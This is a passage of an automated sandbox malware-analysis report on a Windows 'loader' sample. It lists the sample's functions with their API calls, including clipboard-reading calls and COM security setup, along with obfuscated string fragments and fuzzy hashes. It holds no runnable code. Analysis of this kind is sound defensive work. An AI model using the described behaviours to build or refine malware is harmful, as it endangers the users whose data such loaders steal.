Instruction ID: 6b5ca719cd67b63e367e33061a31cc22fb68b6a2697efd462438212122a65b22
Opcode Fuzzy Hash: e7351303906a0154d53a9d3120627ce84a12f98ba55c389279fba2a00dde20f5
Instruction Fuzzy Hash: 5B917871B0A3204BD7149A25EC9277F73D1EB91314F98443EE4868B3C2EA7C9C0AD75A

Function 0043E990 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004413D2,005C003F,00000008,00000018,?), ref: 0043E9BE

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 004417F0 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

@, xrefs: 00441858

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 861280132b47eb671953a737d70f1a716888bc2209c51724b1424383ae944329
Instruction ID: b9882c602c5ace0b046ee6d55209bb011b7df538ba4fbaa8544629cdbf2cb46d
Opcode Fuzzy Hash: 861280132b47eb671953a737d70f1a716888bc2209c51724b1424383ae944329
Instruction Fuzzy Hash: 793134716083048FE314EF44C8C066BB7F4FB86314F15883DE699873A0D3799988CB5A

Function 00441920 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 197da602a738ed90615523d394a4f70716086a60559f77200b92977aad947c64
Instruction ID: 98947735670b321de62f25de5c6f141f0ffafa247f2bfd410a5fa51859ec01dd
Opcode Fuzzy Hash: 197da602a738ed90615523d394a4f70716086a60559f77200b92977aad947c64
Instruction Fuzzy Hash: D2713676A043415BE714EF19C850A6BB3E2FBD5340F19C42DE9858B361FB38A891C78A

Function 0040DDAD Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aece6992da07f900a35a41c9b26622640252d96e2bce80a6bd0c3d314a69db2
Instruction ID: 70debdcfec7f10fde0637b4edfa7e10ec778db25867dfbbe9d453d37ae4d51e2
Opcode Fuzzy Hash: 8aece6992da07f900a35a41c9b26622640252d96e2bce80a6bd0c3d314a69db2
Instruction Fuzzy Hash: FA31B374A147828BE334CF54C840BABB3E1FF95304F04892ED489DB394DB7998098B96

Function 0043E8F0 Relevance: 1.5, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0043E956

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 74e8466f9c0fb650afc267f77ac7fa562a1203bb7fc8a38538895c5ff324e8b7
Instruction ID: 43a3c5889aaf537389f49284b38b2b92559f99565eac067972442e43058a4d16
Opcode Fuzzy Hash: 74e8466f9c0fb650afc267f77ac7fa562a1203bb7fc8a38538895c5ff324e8b7
Instruction Fuzzy Hash: 29014CB19093008BE7009F35ACA676B7BD6DF9A315F044839E9C05E292C639581AC7A7

Function 0043BF80 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043BFD0

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: da6800712980e551154b38ba978ea4e8e5317f5971431d0fbdf59f22c8f573ca
Instruction ID: cc3c1706a03e690f6b91e6a124f2d173a6fa58680ff2e8fc5d31c86810b5b3ef
Opcode Fuzzy Hash: da6800712980e551154b38ba978ea4e8e5317f5971431d0fbdf59f22c8f573ca
Instruction Fuzzy Hash: 7DF0E53411D3408BDB096B34EC6262F7BA1DF5A715F10453CD182862F1DA358827CB4A

Function 0040D460 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040D473

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 7f41d9b23e831ce4ae8948a350548d7c065836f6c64eab51cd9cb43922a88d91
Instruction ID: 55e0167c8ad8bef13fa033a9d9ee22b09300915380d951105cf671eb2fce6579
Opcode Fuzzy Hash: 7f41d9b23e831ce4ae8948a350548d7c065836f6c64eab51cd9cb43922a88d91
Instruction Fuzzy Hash: 87D0A734594144AFD200675DEC07F26362CC783B24F404235B263C71D2DA506911C5AD

Function 0040D493 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040D4A5

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 103982d607cee43b265d78c97c913602c2dd4d45ca5578c56520c6a68563501e
Instruction ID: 6d3ae4b6214a75680a4aef21b5c7739d0b298491b6b51663e31892c20e49f7f1
Opcode Fuzzy Hash: 103982d607cee43b265d78c97c913602c2dd4d45ca5578c56520c6a68563501e
Instruction Fuzzy Hash: 48D0C9347D834176F2748708AC13F5432516702F55F340624B326FE2E0CAE07502861C

Non-executed Functions

Function 0041A3F9 Relevance: 24.5, Strings: 19, Instructions: 714COMMON

Download Yara Rule

Strings

~fpN, xrefs: 0041BF61
PF, xrefs: 0041C494
lp, xrefs: 0041C299
rkof, xrefs: 0041BF56
;w9u, xrefs: 0041C355
[Y, xrefs: 0041C3CE
MJ_T, xrefs: 0041BFF4, 0041BFFB
tsa}, xrefs: 0041BF6C
<o0m, xrefs: 0041C33F
7R, xrefs: 0041C489
gce/, xrefs: 0041C278
9s:q, xrefs: 0041C360
_], xrefs: 0041C3C3
yf}V, xrefs: 0041BF77
3c?a, xrefs: 0041C334
QRQP, xrefs: 0041C28E
MC, xrefs: 0041D07E
b, xrefs: 0041C5D4
cah`, xrefs: 0041C283

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: 3c?a$7R$9s:q$;w9u$<o0m$MJ_T$PF$QRQP$b$cah`$gce/$lp$rkof$tsa}$yf}V$~fpN$MC$[Y$_]
API String ID: 0-945974825
Opcode ID: b5b16bb113590787c6fde6ab80ea81be080de832431b1bf5d022472ec5bec015
Instruction ID: 2df21e8ae9cd997d18b4bb70e282f3c761d66f11e35e6a146946800b30239e7a
Opcode Fuzzy Hash: b5b16bb113590787c6fde6ab80ea81be080de832431b1bf5d022472ec5bec015
Instruction Fuzzy Hash: A442F0B55083918BD334CF24C8957ABBBE1EFD5304F18896DD4D98B391EB784846CB86

Function 0040B6E0 Relevance: 15.4, Strings: 12, Instructions: 419COMMON

Download Yara Rule

Strings

QRNv, xrefs: 0040B720
Q&S, xrefs: 0040B7CD
5U&W, xrefs: 0040B7C5
U9L;J=B?s1E3, xrefs: 0040B781
J=B?, xrefs: 0040B795
U9L;, xrefs: 0040B79D
f\nf, xrefs: 0040BA97
<M#O, xrefs: 0040B7B5
9Y&[, xrefs: 0040B7DD
rIjK, xrefs: 0040B7BD
5]=_, xrefs: 0040B7D5
APWE, xrefs: 0040B9A4, 0040BAF3, 0040BB65, 0040BB82, 0040BBAC, 0040BAFF, 0040BAB0, 0040BB79, 0040B960

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: Q&S$5U&W$5]=_$9Y&[$<M#O$APWE$J=B?$QRNv$U9L;$U9L;J=B?s1E3$f\nf$rIjK
API String ID: 0-1849376372
Opcode ID: 99310a6173f9c1d832450282aebb1bc3353c66722ee690a19fe1f757d411a1e2
Instruction ID: 8a20ee4bffb447de7bdaa27343232466aa85e55d6fd216c03cfd089af8c86d88
Opcode Fuzzy Hash: 99310a6173f9c1d832450282aebb1bc3353c66722ee690a19fe1f757d411a1e2
Instruction Fuzzy Hash: DCD1047160C3848BD314CF25C49136BBBE2EBD2704F18C92DE4D95B396D779990ACB8A

Function 00434400 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 127clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00434410
GetWindowLongW.USER32 ref: 00434435
GetClipboardData.USER32 ref: 00434445
GlobalLock.KERNEL32 ref: 0043445E
GlobalUnlock.KERNEL32 ref: 00434598
CloseClipboard.USER32 ref: 004345A1

Strings

e, xrefs: 004344F9
_, xrefs: 004344B8

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: _$e
API String ID: 2832541153-1418839278
Opcode ID: 1492ae62d9c8f6e8f7ea1264817679eafd862ba64dc6de23d08c7269d29365b9
Instruction ID: 4e7ab790ce0dc81d80f9e03c9926a0abe7cf820c66819f64b658b1f4eaaee696
Opcode Fuzzy Hash: 1492ae62d9c8f6e8f7ea1264817679eafd862ba64dc6de23d08c7269d29365b9
Instruction Fuzzy Hash: AE41D17150C7818ED300AF7C988935EBFD1ABDA324F088A3EE4E5863C2D67C85498797

Function 0042531F Relevance: 9.5, Strings: 7, Instructions: 769COMMON

Download Yara Rule

Strings

u)fd, xrefs: 00425407
4, xrefs: 00425467
7Eps, xrefs: 0042543F
mik], xrefs: 0042540F
jlh`, xrefs: 004253FF
{VcQ, xrefs: 004254E8
\B, xrefs: 00425CD6

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: 4$7Eps$jlh`$mik]$u)fd${VcQ$\B
API String ID: 0-4237533291
Opcode ID: fdcb623395611c697a7c68644df436040c0514880e82e3216a90d51bf0b3aec8
Instruction ID: e5ef24c31cac1c7678ba3bd02dba4386d60b2e5773f4692246e060c767e874b3
Opcode Fuzzy Hash: fdcb623395611c697a7c68644df436040c0514880e82e3216a90d51bf0b3aec8
Instruction Fuzzy Hash: 7F421235A18711DFE308DF25EC8062A77E2FB8A304F59897CE9818B3A1DB78D851CB45

Function 00409F60 Relevance: 9.2, Strings: 7, Instructions: 448COMMON

Download Yara Rule

Strings

N, xrefs: 0040A123
hlzn, xrefs: 0040A094
uhsZ, xrefs: 0040A0C4
~`f~, xrefs: 0040A0AC
mTW#, xrefs: 0040A135
imwm, xrefs: 0040A0BC
T^O, xrefs: 0040A3A4

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: N$hlzn$imwm$mTW#$uhsZ$~`f~$T^O
API String ID: 0-806153951
Opcode ID: 3f87b8f844236f143103854b74b4faf5f9eb03202d4786b4a64a06ef91835dca
Instruction ID: afc53c1070578e1691b90d42849856d3ec20f1ee68649b4cc5d1aa0af51d1780
Opcode Fuzzy Hash: 3f87b8f844236f143103854b74b4faf5f9eb03202d4786b4a64a06ef91835dca
Instruction Fuzzy Hash: D1D1063160C3918BD725CF39885036BBFE1AF97204F1849ADE4D59B392D63DC90AC796

Function 0040EAF1 Relevance: 9.1, Strings: 7, Instructions: 301COMMON

Download Yara Rule

Strings

^-Y+, xrefs: 0040EE42
Y5S3, xrefs: 0040EE52
T9+G, xrefs: 0040EE6D
0EbC, xrefs: 0040EE78
F)H7, xrefs: 0040EE4A
D, xrefs: 0040EFD6
nANO, xrefs: 0040EE83

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: 0EbC$D$F)H7$T9+G$Y5S3$^-Y+$nANO
API String ID: 0-4126532374
Opcode ID: 4e5dfb01cb2dd623f54277910ed69b89e7ec9b11a069f65cd8cbd5085fd9619d
Instruction ID: 3e2fe4e7038656b8bf89e8c37aff5793599fd2f24770686693f00f845fa67244
Opcode Fuzzy Hash: 4e5dfb01cb2dd623f54277910ed69b89e7ec9b11a069f65cd8cbd5085fd9619d
Instruction Fuzzy Hash: 24C1EEB01093829BE320CF51D99475BBBF1BF81B48F109E1CE5D91B290D3BA9549CF86

Function 00428420 Relevance: 7.9, Strings: 6, Instructions: 430COMMON

Download Yara Rule

Strings

+{&y, xrefs: 004284B7
%*+(, xrefs: 004289B0
#o'm, xrefs: 0042849F
#s'q, xrefs: 004284A7
%*+(, xrefs: 00428792
$w u, xrefs: 004284AF

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: #o'm$#s'q$$w u$%*+($%*+($+{&y
API String ID: 0-3465401588
Opcode ID: adbdf165e411e8a7c148abbbb54ca72fc7ac4bc61dcaa0333c544cb5b71acc5f
Instruction ID: efaf2d7fbf0bc91d9fa670480c3a13c74f7e4b8a6b57285643f8ba170000f6c6
Opcode Fuzzy Hash: adbdf165e411e8a7c148abbbb54ca72fc7ac4bc61dcaa0333c544cb5b71acc5f
Instruction Fuzzy Hash: 69E10EB5609340DFE3248F25E88176FBBA1FBC6304F54892DE5C58B391DB788806CB96

Function 0042BD80 Relevance: 7.9, Strings: 6, Instructions: 371COMMON

Download Yara Rule

Strings

S%M;, xrefs: 0042BDE2
W!C', xrefs: 0042BDDA
H5JK, xrefs: 0042BE02
%*+(, xrefs: 0042C02C
N=, xrefs: 0042BDF2
A9M?, xrefs: 0042BDEA

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: %*+($A9M?$H5JK$N=$S%M;$W!C'
API String ID: 0-4058193705
Opcode ID: a1e650a12516214562dcadb732fd425bf39ebee62d412113351d464a7da6a092
Instruction ID: 989b260c283b6d6c97fa8b2f3c9edb2a500bc5545ab2e4ce7223e990c8efc322
Opcode Fuzzy Hash: a1e650a12516214562dcadb732fd425bf39ebee62d412113351d464a7da6a092
Instruction Fuzzy Hash: DCB13474208351DFE7108F24A88176FBBE4EB86358F54492DF5C59B292D3798906CB8A

Function 0042AE3D Relevance: 6.9, Strings: 5, Instructions: 687COMMON

Download Yara Rule

Strings

lc, xrefs: 0042AD46
{E, xrefs: 0042B21E
<=, xrefs: 0042B26E
hi, xrefs: 0042B35D
L^, xrefs: 0042B02C

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: <=$L^$hi$lc${E
API String ID: 0-1924084148
Opcode ID: 6f0d55af5d588fb369debd9c0a62e9f947f0aaf158dee2c09f6c9884d50da42f
Instruction ID: 5915457069e997dacf6b807a0230b9027950d8cade2001cda093a07db98b2ef2
Opcode Fuzzy Hash: 6f0d55af5d588fb369debd9c0a62e9f947f0aaf158dee2c09f6c9884d50da42f
Instruction Fuzzy Hash: 7612EEB16083208BD320CF19E85132BB7F1FF96754F04892DE8C59B791E7799905CB9A

Function 00409C50 Relevance: 6.5, Strings: 5, Instructions: 299COMMON

Download Yara Rule

Strings

}6L, xrefs: 00409CD2
f, xrefs: 00409DDC
U[[h, xrefs: 00409D4B
fo, xrefs: 00409CC3
Bxdz, xrefs: 00409EDE

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: Bxdz$U[[h$f$fo$}6L
API String ID: 0-290911908
Opcode ID: 9ce3ea268f32a08bd726824abe08d559d71ace92874c2ffe448d89053079f639
Instruction ID: 186a011957ab0b302ddbf5d4f0fd3c5b0e372ef02e8e4ca5b4aa048407dfe237
Opcode Fuzzy Hash: 9ce3ea268f32a08bd726824abe08d559d71ace92874c2ffe448d89053079f639
Instruction Fuzzy Hash: 8D81E46160C3828AD715CF29C49037BBFE29F92344F1849BEE4D59B383D779890AC766

Function 0042A8D0 Relevance: 5.4, Strings: 4, Instructions: 450COMMON

Download Yara Rule

Strings

lc, xrefs: 0042AD46
UJHr, xrefs: 0042A90E
mJHr, xrefs: 0042A940
MO, xrefs: 0042AAD4

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: UJHr$lc$mJHr$MO
API String ID: 0-4006114247
Opcode ID: 9ab16e63a3cda7c7ee12e10ffdcddcbeed2392a56aa22b05643f408b6ec1db2b
Instruction ID: f55708db8befbf1a1894197a01fd1ec17e06cfec4ac16444925793b6aea3662e
Opcode Fuzzy Hash: 9ab16e63a3cda7c7ee12e10ffdcddcbeed2392a56aa22b05643f408b6ec1db2b
Instruction Fuzzy Hash: 14D1F1756483558FD320CF14E84276FB7E1EFC1314F05892EE8958B381EB78890ACB86

Function 0040DA6F Relevance: 5.2, Strings: 4, Instructions: 197COMMON

Download Yara Rule

Strings

(G^x, xrefs: 0040DD44
", xrefs: 0040DAE8
/><, xrefs: 0040DABF
'><, xrefs: 0040DA9B

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: "$'><$(G^x$/><
API String ID: 0-3343709173
Opcode ID: 7e85a3726e96f3214fd87d6b0f206403944d012c2fc80bffde29d6014236732f
Instruction ID: 2e288f0f76336d9d94d21f87a4a07013cc1c5c192bb7596fd3b75b62982aae34
Opcode Fuzzy Hash: 7e85a3726e96f3214fd87d6b0f206403944d012c2fc80bffde29d6014236732f
Instruction Fuzzy Hash: D5616A739487524BD3389B24C825BABB6E2AFD5304F1A493CC4C9A7746EB380905C786

Function 0041AF7A Relevance: 4.4, Strings: 3, Instructions: 651COMMON

Download Yara Rule

Strings

K7, xrefs: 0041B539
de, xrefs: 0041B0C5
D, xrefs: 0041B34A

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: D$K7$de
API String ID: 0-1955444500
Opcode ID: d234eca0981635b670469645aec80572a3aa641a1406bd48b9aae5cb45f49156
Instruction ID: ba489a2c3d8d42c018694d4fbb916e700f77f656f55a3d737072087a95ad5f74
Opcode Fuzzy Hash: d234eca0981635b670469645aec80572a3aa641a1406bd48b9aae5cb45f49156
Instruction Fuzzy Hash: 1122FF756043008FD724CF15C8A17ABB7A2FF86308F18895DE4C59B391E7799946CBCA

Function 0041F3B0 Relevance: 4.4, Strings: 3, Instructions: 602COMMON

Download Yara Rule

Strings

US, xrefs: 0041F943
(+, xrefs: 0041F7EB
Q_, xrefs: 0041F94B

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: (+$Q_$US
API String ID: 0-257054658
Opcode ID: e59e468361b338f9b371b19b10f5ea2972cd52c1d12ca0ae15dc60982496a1c4
Instruction ID: c2be877ffce0f270715c11a4e9d8842d5002736ab2aef054f9ee3da50e5348a0
Opcode Fuzzy Hash: e59e468361b338f9b371b19b10f5ea2972cd52c1d12ca0ae15dc60982496a1c4
Instruction Fuzzy Hash: 340203B161C3409BD714DF25D8912ABBBE1EFD5314F08892DE4C98B351E738C94ACB96

Function 00404E70 Relevance: 4.0, Strings: 3, Instructions: 209COMMON

Download Yara Rule

Strings

"O@, xrefs: 00404F16
_@, xrefs: 00405099
RO@, xrefs: 00404F3B

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: "O@$RO@$_@
API String ID: 0-329040538
Opcode ID: d551eeacf1234a9ac4cb178c82810e24e3d255f0c0f59fad84e5479135bb7579
Instruction ID: 8529c4bc54ecd641f3d8c2ac439e0e09222fc0b310d5ceca5d0ec24161249c23
Opcode Fuzzy Hash: d551eeacf1234a9ac4cb178c82810e24e3d255f0c0f59fad84e5479135bb7579
Instruction Fuzzy Hash: 92518C78109302CFD708CF14D5A03AAB7F2FB8A706F06857DE88507291C7759999CF4A

Function 0042E2B5 Relevance: 2.7, Strings: 2, Instructions: 247COMMON

Download Yara Rule

Strings

HP@^, xrefs: 0042E3A3
=tfP, xrefs: 0042E60D

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: =tfP$HP@^
API String ID: 0-2406627641
Opcode ID: 52973fe9bb9e749b90ab74aad89fb74c8445f9f5489782af94578e639eab6826
Instruction ID: 919b2c12ea22db56c82ebbc38bbdc81767d200e2637afe7225fa46e96859999a
Opcode Fuzzy Hash: 52973fe9bb9e749b90ab74aad89fb74c8445f9f5489782af94578e639eab6826
Instruction Fuzzy Hash: 28712771604B808EE326CF36D4507A3BBE1AF63304F5888AEC1EA4B347D7786506CB65

Function 0042E32F Relevance: 2.7, Strings: 2, Instructions: 244COMMON

Download Yara Rule

Strings

HP@^, xrefs: 0042E3A3
=tfP, xrefs: 0042E60D

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: =tfP$HP@^
API String ID: 0-2406627641
Opcode ID: 0c73f007112f73566a2c12d16785b66dea47a3ac0a33fcfe28f67ab9e22bbb62
Instruction ID: 9034b45b94c73021bbf74939c999c4eaa10970071ee5c8b6dd7ffc774f9a0c6c
Opcode Fuzzy Hash: 0c73f007112f73566a2c12d16785b66dea47a3ac0a33fcfe28f67ab9e22bbb62
Instruction Fuzzy Hash: 13710871645B808EE326CF36D4607A3BFE1AF63304F5889AEC0DA8B343D6786505CB55

Function 0041BCD2 Relevance: 2.6, Strings: 2, Instructions: 82COMMON

Download Yara Rule

Strings

Q+X, xrefs: 0041BD37
b+X, xrefs: 0041BD68

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: Q+X$b+X
API String ID: 0-2674441950
Opcode ID: 17618e8df129ac59e3c58de69aa13a4f5a26421a86cccb75977b7be89bfde9b9
Instruction ID: 5a90f5242e228ced49b7f9a691f53041ae50d70e9dd81af7ba55492d04131306
Opcode Fuzzy Hash: 17618e8df129ac59e3c58de69aa13a4f5a26421a86cccb75977b7be89bfde9b9
Instruction Fuzzy Hash: F121C1B01083528AC7299F25C8617B7B7A1FF96360F04462DE5E64B7D1F7388940C796

Function 004210A0 Relevance: 2.1, Strings: 1, Instructions: 879COMMON

Download Yara Rule

Strings

VVOP, xrefs: 00421480

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: VVOP
API String ID: 0-3147423582
Opcode ID: a57f06044fff0c57db4d95515e9409d5b35d8815ddf91acb6116c41e213e95ef
Instruction ID: 2553d163258990cf6634f2bb90ee463a851044aeec10f088061894c37fe6844f
Opcode Fuzzy Hash: a57f06044fff0c57db4d95515e9409d5b35d8815ddf91acb6116c41e213e95ef
Instruction Fuzzy Hash: B1523771604B518FC335CF25D490767BBE2BF96300B588A6ED4E74BBA2CB35A806CB54

Function 0043C750 Relevance: 1.9, Strings: 1, Instructions: 659COMMON

Download Yara Rule

Strings

f, xrefs: 0043C981

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: 240bdaa6a14fe44b7c892e0fbbcac16d82d9a36931b9988dffe6c3d6016ad242
Instruction ID: e086ff3596345417eccfcc2e0169fb7555612bae322473471b354bbcf4fdc1c6
Opcode Fuzzy Hash: 240bdaa6a14fe44b7c892e0fbbcac16d82d9a36931b9988dffe6c3d6016ad242
Instruction Fuzzy Hash: FE12E3706083419FD714CF29C8C1B2BBBE1AFC9314F249A2EE5959B3A1D774D805CB9A

Function 00424A50 Relevance: 1.7, APIs: 1, Instructions: 241comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00444598,00000000,00000001,00444588), ref: 00424A79

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 580d0d482798b13b8607eb2aa4aa350e9be8350635ee404d84db5771204d1f34
Instruction ID: e1f36a60adfc8295f48709a7560cdcd76d716ebdcc0d1e4130c983e91d2a443c
Opcode Fuzzy Hash: 580d0d482798b13b8607eb2aa4aa350e9be8350635ee404d84db5771204d1f34
Instruction Fuzzy Hash: 3951D0B0740210ABDB209B28EC82B7737A4EFC1768F454559F986CB390E379E901C72A

Function 00424CB0 Relevance: 1.7, Strings: 1, Instructions: 474COMMON

Download Yara Rule

Strings

-#, xrefs: 00424CD7

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: -#
API String ID: 0-935786782
Opcode ID: 57cdcfad62d8dcf5a54ed80bde65bd6b7db0f3481728dc9baa5a5fe50a26a015
Instruction ID: 2c3e44ce678fea81b99f12b1231c353f8d9307234c328d649e85df0523243cf4
